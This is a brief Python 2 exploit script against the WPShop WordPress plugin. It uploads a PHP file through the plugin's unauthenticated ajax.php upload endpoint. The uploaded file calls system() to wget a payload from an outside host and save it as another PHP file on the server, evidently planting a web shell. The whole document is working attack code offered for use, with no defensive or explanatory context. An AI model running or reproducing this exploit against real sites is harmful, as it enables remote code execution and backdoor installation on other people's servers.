Exploit Wordpress Plugins WPShop File Upload Vulnerability

import requests
from StringIO import StringIO
s = requests.session()
target = 'http://localhost/'

url = '%s/wp-content/plugins/wpshop/includes/ajax.php?elementCode=ajaxUpload'%target
files = {
 "wpshop_file":("out.php",StringIO("<?php system('wget http://yuyudhn1337.org/exp/priv.txt -O njepat.php');"))
}
r = s.post(url, files=files)

print r.text